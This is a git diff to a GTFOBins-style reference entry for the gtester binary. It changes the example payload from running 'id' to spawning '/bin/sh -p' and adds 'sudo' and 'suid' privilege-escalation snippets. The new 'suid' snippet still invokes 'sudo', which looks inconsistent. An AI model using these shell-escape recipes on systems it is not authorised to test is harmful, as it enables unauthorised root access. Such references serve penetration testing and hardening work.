diff --git a/_gtfobins/gtester.md b/_gtfobins/gtester.md index d1bfff4..abe70bd 100644 --- a/_gtfobins/gtester.md +++ b/_gtfobins/gtester.md @@ -1,17 +1,24 @@ --- functions: - command: + shell: - code: | TF=$(mktemp) echo '#!/bin/sh' > $TF - echo '/usr/bin/id' >> $TF + echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF gtester -q $TF sudo: - code: | TF=$(mktemp) echo '#!/bin/sh' > $TF - echo '/usr/bin/id' >> $TF + echo 'exec /bin/sh 0<&1' >> $TF + chmod +x $TF + sudo gtester -q $TF + suid: + - code: | + TF=$(mktemp) + echo '#!/bin/sh -p' > $TF + echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF sudo gtester -q $TF ---